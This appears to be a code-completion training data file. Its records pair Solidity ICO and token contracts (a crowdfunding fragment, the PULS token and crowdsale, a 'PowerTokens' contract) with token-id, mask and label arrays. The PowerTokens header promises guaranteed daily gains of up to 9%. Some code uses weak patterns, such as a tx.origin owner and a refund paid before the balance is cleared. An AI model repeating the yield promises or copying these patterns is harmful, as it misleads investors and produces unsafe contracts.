collectedETH = safeAdd(collectedETH,msg.value);
// add bonus if has referral
if(referrals[msg.sender]!= 0x0){
brokerBonus = safeDiv(safeMul(createdTokens,referralBonus),hundredPercent);
bonus[referrals[msg.sender]] = safeAdd(bonus[referrals[msg.sender]],brokerBonus);
emit ReferralBonus(msg.sender,referrals[msg.sender],brokerBonus);
}
// Save funder info for refund and free distribution
funders[msg.sender] = safeAdd(funders[msg.sender],msg.value);
investors[msg.sender] = safeAdd(investors[msg.sender],createdTokens);
// Assign new tokens to the sender
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], createdTokens);
// Log token creation event
emit FundTransfer(msg.sender,msg.value, createdTokens, block.number);
emit Transfer(0, msg.sender, createdTokens);
}
/// @notice send bonus token to broker
function requestBonus() external{
require(getState()==State.Success);
uint256 bonusAmount = bonus[msg.sender];
assert(bonusAmount>0);
require(bonusAmount<=safeSub(bonusAndBountyTokens,bonusAmount));
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],bonusAmount);
bonus[msg.sender] = 0;
bonusAndBountyTokens = safeSub(bonusAndBountyTokens,bonusAmount);
emit BonusTransfer(msg.sender,bonusAmount,block.number);
emit Transfer(0,msg.sender,bonusAmount);
}
/// @notice send lockedTokens to devs address
/// require State == Success
/// require tokens unlocked
function releaseLockedToken() external {
require (getState() == State.Success);
require (balanceOf[lockedTokenHolder] > 0x0);
require (block.number >= unlockedAtBlockNumber);
balanceOf[devsHolder] = safeAdd(balanceOf[devsHolder],balanceOf[lockedTokenHolder]);
emit Transfer(lockedTokenHolder,devsHolder,balanceOf[lockedTokenHolder]);
balanceOf[lockedTokenHolder] = 0;
}
/// @notice request to receive bounty tokens
/// @dev require State == Succes
function requestBounty() external{
require(releasedBountyTokens); //locked bounty hunter's token for 7 days after end of campaign
require(getState()==State.Success);
assert (bounties[msg.sender]>0);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],bounties[msg.sender]);
emit BountyTransfer(msg.sender,bounties[msg.sender],block.number);
emit Transfer(0,msg.sender,bounties[msg.sender]);
bounties[msg.sender] = 0;
}
/// @notice Finalize crowdfunding
/// @dev If cap was reached or crowdfunding has ended then:
/// create GRD for the Vault and developer,
/// transfer ETH to the devs address.
/// @dev Required state: Success
function finalizeCrowdfunding() external {
// Abort if not in Funding Success state.
require (getState() == State.Success); // don't finalize unless we won
require (!finalizedCrowdfunding); // can't finalize twice (so sneaky!)
// prevent more creation of tokens
finalizedCrowdfunding = true;
// Endowment: 25% of total goes to vault, timelocked for 6 months
balanceOf[lockedTokenHolder] = safeAdd(balanceOf[lockedTokenHolder], lockedTokens);
// Transfer lockedTokens to lockedTokenHolder address
unlockedAtBlockNumber = block.number + numBlocksLocked;
emit Transfer(0, lockedTokenHolder, lockedTokens);
// Endowment: 10% of total goes to devs
balanceOf[devsHolder] = safeAdd(balanceOf[devsHolder], devsTokens);
emit Transfer(0, devsHolder, devsTokens);
// Transfer ETH to the multiSigWalletAddress address.
multiSigWalletAddress.transfer(address(this).balance);
}
/// @notice send @param _unSoldTokens to all Investor base on their share
function requestFreeDistribution() external{
require(getState()==State.Success);
assert(investors[msg.sender]>0);
uint256 unSoldTokens = safeSub(tokenCreationMax,tokensSold);
require(unSoldTokens>0);
uint256 freeTokens = safeDiv(safeMul(unSoldTokens,investors[msg.sender]),tokensSold);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],freeTokens);
investors[msg.sender] = 0;
emit FreeDistribution(msg.sender,freeTokens,block.number);
emit Transfer(0,msg.sender, freeTokens);
}
/// @notice Get back the ether sent during the funding in case the funding
/// has not reached the soft cap.
/// @dev Required state: Failure
function requestRefund() external {
// Abort if not in Funding Failure state.
assert (getState() == State.Failure);
assert (funders[msg.sender]>0);
msg.sender.transfer(funders[msg.sender]);
emit Refund( msg.sender, funders[msg.sender],block.number);
funders[msg.sender]=0;
}
/// @notice This manages the crowdfunding state machine
/// We make it a function and do not assign the result to a variable
/// So there is no chance of the variable being stale
function getState() public constant returns (State){
// once we reach success, lock in the state
if (finalizedCrowdfunding) return State.Success;
if(fundingStartBlock ==0 && fundingEndBlock==0) return State.PrivateFunding;
else if (block.number < fundingStartBlock) return State.PreFunding;
else if (block.number <= fundingEndBlock && tokensSold < tokenCreationMax) return State.Funding;
else if (tokensSold >= tokenCreationMin) return State.Success;
else return State.Failure;
}
}
| can't finalize twice (so sneaky!)
| require (!finalizedCrowdfunding); | 5,530,345 | [
1,
4169,
1404,
12409,
13605,
261,
2048,
4556,
73,
29643,
24949,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2583,
16051,
6385,
1235,
39,
492,
2180,
14351,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = tx.origin;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
*
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
}
}
/**
* @title BasicERC20 token.
* @dev Basic version of ERC20 token with allowances.
*/
contract BasicERC20Token is Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @dev Function to check the amount of tokens for address.
*
* @param _owner Address which owns the tokens.
*
* @return A uint256 specifing the amount of tokens still available to the owner.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the total supply of tokens.
*
* @return The uint256 specifing the amount of tokens which are held by the contract.
*/
function getTotalSupply() public view returns (uint256) {
return totalSupply;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
*
* @param _owner Address which owns the funds.
* @param _spender Address which will spend the funds.
*
* @return The uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Internal function to transfer tokens.
*
* @param _from Address of the sender.
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function _transfer(address _from, address _to, uint256 _amount) internal returns (bool) {
require (_from != 0x0); // Prevent transfer to 0x0 address
require (_to != 0x0); // Prevent transfer to 0x0 address
require (balances[_from] >= _amount); // Check if the sender has enough tokens
require (balances[_to] + _amount > balances[_to]); // Check for overflows
uint256 length;
assembly {
length := extcodesize(_to)
}
require (length == 0);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Function to transfer tokens.
*
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function transfer(address _to, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Transfer tokens from other address.
*
* @param _from Address of the sender.
* @param _to Address of the recipient.
* @param _amount Amount to send.
*
* @return True if the operation was successful.
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require (allowed[_from][msg.sender] >= _amount); // Check if the sender has enough
_transfer(_from, _to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* @param _spender Address which will spend the funds.
* @param _amount Amount of tokens to be spent.
*
* @return True if the operation was successful.
*/
function approve(address _spender, uint256 _amount) public returns (bool) {
require (_spender != 0x0); // Prevent transfer to 0x0 address
require (_amount >= 0);
require (balances[msg.sender] >= _amount); // Check if the msg.sender has enough to allow
if (_amount == 0) allowed[msg.sender][_spender] = _amount;
else allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_amount);
emit Approval(msg.sender, _spender, _amount);
return true;
}
}
/**
* @title PULS token
* @dev Extends ERC20 token.
*/
contract PULSToken is BasicERC20Token {
// Public variables of the token
string public constant name = 'PULS Token';
string public constant symbol = 'PULS';
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 88888888000000000000000000;
address public crowdsaleAddress;
// Public structure to support token reservation.
struct Reserve {
uint256 pulsAmount;
uint256 collectedEther;
}
mapping (address => Reserve) reserved;
// Public structure to record locked tokens for a specific lock.
struct Lock {
uint256 amount;
uint256 startTime; // in seconds since 01.01.1970
uint256 timeToLock; // in seconds
bytes32 pulseLockHash;
}
// Public list of locked tokens for a specific address.
struct lockList{
Lock[] lockedTokens;
}
// Public list of lockLists.
mapping (address => lockList) addressLocks;
/**
* @dev Throws if called by any account other than the crowdsale address.
*/
modifier onlyCrowdsaleAddress() {
require(msg.sender == crowdsaleAddress);
_;
}
event TokenReservation(address indexed beneficiary, uint256 sendEther, uint256 indexed pulsAmount, uint256 reserveTypeId);
event RevertingReservation(address indexed addressToRevert);
event TokenLocking(address indexed addressToLock, uint256 indexed amount, uint256 timeToLock);
event TokenUnlocking(address indexed addressToUnlock, uint256 indexed amount);
/**
* @dev The PULS token constructor sets the initial supply of tokens to the crowdsale address
* account.
*/
function PULSToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
crowdsaleAddress = msg.sender;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Payable function.
*/
function () external payable {
}
/**
* @dev Function to check reserved amount of tokens for address.
*
* @param _owner Address of owner of the tokens.
*
* @return The uint256 specifing the amount of tokens which are held in reserve for this address.
*/
function reserveOf(address _owner) public view returns (uint256) {
return reserved[_owner].pulsAmount;
}
/**
* @dev Function to check reserved amount of tokens for address.
*
* @param _buyer Address of buyer of the tokens.
*
* @return The uint256 specifing the amount of tokens which are held in reserve for this address.
*/
function collectedEtherFrom(address _buyer) public view returns (uint256) {
return reserved[_buyer].collectedEther;
}
/**
* @dev Function to get number of locks for an address.
*
* @param _address Address who owns locked tokens.
*
* @return The uint256 length of array.
*/
function getAddressLockedLength(address _address) public view returns(uint256 length) {
return addressLocks[_address].lockedTokens.length;
}
/**
* @dev Function to get locked tokens amount for specific address for specific lock.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the amount of locked tokens.
*/
function getLockedStructAmount(address _address, uint256 _index) public view returns(uint256 amount) {
return addressLocks[_address].lockedTokens[_index].amount;
}
/**
* @dev Function to get start time of lock for specific address.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the start time of lock in seconds.
*/
function getLockedStructStartTime(address _address, uint256 _index) public view returns(uint256 startTime) {
return addressLocks[_address].lockedTokens[_index].startTime;
}
/**
* @dev Function to get duration time of lock for specific address.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The uint256 specifing the duration time of lock in seconds.
*/
function getLockedStructTimeToLock(address _address, uint256 _index) public view returns(uint256 timeToLock) {
return addressLocks[_address].lockedTokens[_index].timeToLock;
}
/**
* @dev Function to get pulse hash for specific address for specific lock.
*
* @param _address Address of owner of locked tokens.
* @param _index Index of specific lock.
*
* @return The bytes32 specifing the pulse hash.
*/
function getLockedStructPulseLockHash(address _address, uint256 _index) public view returns(bytes32 pulseLockHash) {
return addressLocks[_address].lockedTokens[_index].pulseLockHash;
}
/**
* @dev Function to send tokens after verifing KYC form.
*
* @param _beneficiary Address of receiver of tokens.
*
* @return True if the operation was successful.
*/
function sendTokens(address _beneficiary) onlyOwner public returns (bool) {
require (reserved[_beneficiary].pulsAmount > 0); // Check if reserved tokens for _beneficiary address is greater then 0
_transfer(crowdsaleAddress, _beneficiary, reserved[_beneficiary].pulsAmount);
reserved[_beneficiary].pulsAmount = 0;
return true;
}
/**
* @dev Function to reserve tokens for buyer after sending ETH to crowdsale address.
*
* @param _beneficiary Address of reserver of tokens.
* @param _pulsAmount Amount of tokens to reserve.
* @param _eth Amount of eth sent in transaction.
*
* @return True if the operation was successful.
*/
function reserveTokens(address _beneficiary, uint256 _pulsAmount, uint256 _eth, uint256 _reserveTypeId) onlyCrowdsaleAddress public returns (bool) {
require (_beneficiary != 0x0); // Prevent transfer to 0x0 address
require (totalSupply >= _pulsAmount); // Check if such tokens amount left
totalSupply = totalSupply.sub(_pulsAmount);
reserved[_beneficiary].pulsAmount = reserved[_beneficiary].pulsAmount.add(_pulsAmount);
reserved[_beneficiary].collectedEther = reserved[_beneficiary].collectedEther.add(_eth);
emit TokenReservation(_beneficiary, _eth, _pulsAmount, _reserveTypeId);
return true;
}
/**
* @dev Function to revert reservation for some address.
*
* @param _addressToRevert Address to which collected ETH will be returned.
*
* @return True if the operation was successful.
*/
function revertReservation(address _addressToRevert) onlyOwner public returns (bool) {
require (reserved[_addressToRevert].pulsAmount > 0);
totalSupply = totalSupply.add(reserved[_addressToRevert].pulsAmount);
reserved[_addressToRevert].pulsAmount = 0;
_addressToRevert.transfer(reserved[_addressToRevert].collectedEther - (20000000000 * 21000));
reserved[_addressToRevert].collectedEther = 0;
emit RevertingReservation(_addressToRevert);
return true;
}
/**
* @dev Function to lock tokens for some period of time.
*
* @param _amount Amount of locked tokens.
* @param _minutesToLock Days tokens will be locked.
* @param _pulseLockHash Hash of locked pulse.
*
* @return True if the operation was successful.
*/
function lockTokens(uint256 _amount, uint256 _minutesToLock, bytes32 _pulseLockHash) public returns (bool){
require(balances[msg.sender] >= _amount);
Lock memory lockStruct;
lockStruct.amount = _amount;
lockStruct.startTime = now;
lockStruct.timeToLock = _minutesToLock * 1 minutes;
lockStruct.pulseLockHash = _pulseLockHash;
addressLocks[msg.sender].lockedTokens.push(lockStruct);
balances[msg.sender] = balances[msg.sender].sub(_amount);
emit TokenLocking(msg.sender, _amount, _minutesToLock);
return true;
}
/**
* @dev Function to unlock tokens for some period of time.
*
* @param _addressToUnlock Addrerss of person with locked tokens.
*
* @return True if the operation was successful.
*/
function unlockTokens(address _addressToUnlock) public returns (bool){
uint256 i = 0;
while(i < addressLocks[_addressToUnlock].lockedTokens.length) {
if (now > addressLocks[_addressToUnlock].lockedTokens[i].startTime + addressLocks[_addressToUnlock].lockedTokens[i].timeToLock) {
balances[_addressToUnlock] = balances[_addressToUnlock].add(addressLocks[_addressToUnlock].lockedTokens[i].amount);
emit TokenUnlocking(_addressToUnlock, addressLocks[_addressToUnlock].lockedTokens[i].amount);
if (i < addressLocks[_addressToUnlock].lockedTokens.length) {
for (uint256 j = i; j < addressLocks[_addressToUnlock].lockedTokens.length - 1; j++){
addressLocks[_addressToUnlock].lockedTokens[j] = addressLocks[_addressToUnlock].lockedTokens[j + 1];
}
}
delete addressLocks[_addressToUnlock].lockedTokens[addressLocks[_addressToUnlock].lockedTokens.length - 1];
addressLocks[_addressToUnlock].lockedTokens.length = addressLocks[_addressToUnlock].lockedTokens.length.sub(1);
}
else {
i = i.add(1);
}
}
return true;
}
}
/**
* @title SafeMath.
* @dev Math operations with safety checks that throw on error.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Staged crowdsale.
* @dev Functionality of staged crowdsale.
*/
contract StagedCrowdsale is Ownable {
using SafeMath for uint256;
// Public structure of crowdsale's stages.
struct Stage {
uint256 hardcap;
uint256 price;
uint256 minInvestment;
uint256 invested;
uint256 closed;
}
Stage[] public stages;
/**
* @dev Function to get the current stage number.
*
* @return A uint256 specifing the current stage number.
*/
function getCurrentStage() public view returns(uint256) {
for(uint256 i=0; i < stages.length; i++) {
if(stages[i].closed == 0) {
return i;
}
}
revert();
}
/**
* @dev Function to add the stage to the crowdsale.
*
* @param _hardcap The hardcap of the stage.
* @param _price The amount of tokens you will receive per 1 ETH for this stage.
*/
function addStage(uint256 _hardcap, uint256 _price, uint256 _minInvestment, uint _invested) onlyOwner public {
require(_hardcap > 0 && _price > 0);
Stage memory stage = Stage(_hardcap.mul(1 ether), _price, _minInvestment.mul(1 ether).div(10), _invested.mul(1 ether), 0);
stages.push(stage);
}
/**
* @dev Function to close the stage manually.
*
* @param _stageNumber Stage number to close.
*/
function closeStage(uint256 _stageNumber) onlyOwner public {
require(stages[_stageNumber].closed == 0);
if (_stageNumber != 0) require(stages[_stageNumber - 1].closed != 0);
stages[_stageNumber].closed = now;
stages[_stageNumber].invested = stages[_stageNumber].hardcap;
if (_stageNumber + 1 <= stages.length - 1) {
stages[_stageNumber + 1].invested = stages[_stageNumber].hardcap;
}
}
/**
* @dev Function to remove all stages.
*
* @return True if the operation was successful.
*/
function removeStages() onlyOwner public returns (bool) {
require(stages.length > 0);
stages.length = 0;
return true;
}
}
/**
* @title PULS crowdsale
* @dev PULS crowdsale functionality.
*/
contract PULSCrowdsale is StagedCrowdsale {
using SafeMath for uint256;
PULSToken public token;
// Public variables of the crowdsale
address public multiSigWallet; // address where funds are collected
bool public hasEnded;
bool public isPaused;
event TokenReservation(address purchaser, address indexed beneficiary, uint256 indexed sendEther, uint256 indexed pulsAmount);
event ForwardingFunds(uint256 indexed value);
/**
* @dev Throws if crowdsale has ended.
*/
modifier notEnded() {
require(!hasEnded);
_;
}
/**
* @dev Throws if crowdsale has not ended.
*/
modifier notPaused() {
require(!isPaused);
_;
}
/**
* @dev The Crowdsale constructor sets the multisig wallet for forwanding funds.
* Adds stages to the crowdsale. Initialize PULS tokens.
*/
function PULSCrowdsale() public {
token = createTokenContract();
multiSigWallet = 0x00955149d0f425179000e914F0DFC2eBD96d6f43;
hasEnded = false;
isPaused = false;
addStage(3000, 1600, 1, 0); //3rd value is actually div 10
addStage(3500, 1550, 1, 0); //3rd value is actually div 10
addStage(4000, 1500, 1, 0); //3rd value is actually div 10
addStage(4500, 1450, 1, 0); //3rd value is actually div 10
addStage(42500, 1400, 1, 0); //3rd value is actually div 10
}
/**
* @dev Function to create PULS tokens contract.
*
* @return PULSToken The instance of PULS token contract.
*/
function createTokenContract() internal returns (PULSToken) {
return new PULSToken();
}
/**
* @dev Payable function.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev Function to buy tokens - reserve calculated amount of tokens.
*
* @param _beneficiary The address of the buyer.
*/
function buyTokens(address _beneficiary) payable notEnded notPaused public {
require(msg.value >= 0);
uint256 stageIndex = getCurrentStage();
Stage storage stageCurrent = stages[stageIndex];
require(msg.value >= stageCurrent.minInvestment);
uint256 tokens;
// if puts us in new stage - receives with next stage price
if (stageCurrent.invested.add(msg.value) >= stageCurrent.hardcap){
stageCurrent.closed = now;
if (stageIndex + 1 <= stages.length - 1) {
Stage storage stageNext = stages[stageIndex + 1];
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageNext.invested = stageCurrent.invested.add(msg.value);
stageCurrent.invested = stageCurrent.hardcap;
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
hasEnded = true;
}
}
else {
tokens = msg.value.mul(stageCurrent.price);
token.reserveTokens(_beneficiary, tokens, msg.value, 0);
stageCurrent.invested = stageCurrent.invested.add(msg.value);
}
emit TokenReservation(msg.sender, _beneficiary, msg.value, tokens);
forwardFunds();
}
/**
* @dev Function to buy tokens - reserve calculated amount of tokens.
*
* @param _beneficiary The address of the buyer.
*/
function privatePresaleTokenReservation(address _beneficiary, uint256 _amount, uint256 _reserveTypeId) onlyOwner public {
require (_reserveTypeId > 0);
token.reserveTokens(_beneficiary, _amount, 0, _reserveTypeId);
emit TokenReservation(msg.sender, _beneficiary, 0, _amount);
}
/**
* @dev Internal function to forward funds to multisig wallet.
*/
function forwardFunds() internal {
multiSigWallet.transfer(msg.value);
emit ForwardingFunds(msg.value);
}
/**
* @dev Function to finish the crowdsale.
*
* @return True if the operation was successful.
*/
function finishCrowdsale() onlyOwner notEnded public returns (bool) {
hasEnded = true;
return true;
}
/**
* @dev Function to pause the crowdsale.
*
* @return True if the operation was successful.
*/
function pauseCrowdsale() onlyOwner notEnded notPaused public returns (bool) {
isPaused = true;
return true;
}
/**
* @dev Function to unpause the crowdsale.
*
* @return True if the operation was successful.
*/
function unpauseCrowdsale() onlyOwner notEnded public returns (bool) {
isPaused = false;
return true;
}
/**
* @dev Function to change multisgwallet.
*
* @return True if the operation was successful.
*/
function changeMultiSigWallet(address _newMultiSigWallet) onlyOwner public returns (bool) {
multiSigWallet = _newMultiSigWallet;
return true;
}
} | * @dev The Crowdsale constructor sets the multisig wallet for forwanding funds. Adds stages to the crowdsale. Initialize PULS tokens./ | function PULSCrowdsale() public {
token = createTokenContract();
multiSigWallet = 0x00955149d0f425179000e914F0DFC2eBD96d6f43;
hasEnded = false;
isPaused = false;
}
| 1,065,293 | [
1,
1986,
385,
492,
2377,
5349,
3885,
1678,
326,
22945,
360,
9230,
364,
364,
91,
464,
310,
284,
19156,
18,
15605,
20298,
358,
326,
276,
492,
2377,
5349,
18,
9190,
453,
1506,
55,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
453,
1506,
2312,
492,
2377,
5349,
1435,
1071,
288,
203,
202,
202,
2316,
273,
752,
1345,
8924,
5621,
203,
203,
202,
202,
7027,
8267,
16936,
273,
374,
92,
713,
29,
2539,
26262,
72,
20,
74,
24,
2947,
28814,
3784,
73,
29,
3461,
42,
20,
40,
4488,
22,
73,
18096,
10525,
72,
26,
74,
8942,
31,
203,
202,
202,
5332,
28362,
273,
629,
31,
203,
202,
202,
291,
28590,
273,
629,
31,
203,
203,
202,
97,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
/***********************************************************
* PowerTokens contract
* - GAIN 2.4% PER 24 HOURS (every 5900 blocks) 60 days 0.01~500eth
* - GAIN 3.5% PER 24 HOURS (every 5900 blocks) 40 days 1~1000eth
* - GAIN 4.7% PER 24 HOURS (every 5900 blocks) 35 days 10~10000eth
* - GAIN 1% PER 24 HOURS (every 5900 blocks) forever 0.01~10000eth
* - GAIN 9% PER 24 HOURS (every 5900 blocks) 12 days 1~10000eth
*
* http://www.PowerTokens.online
***********************************************************/
/***********************************************************
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
***********************************************************/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
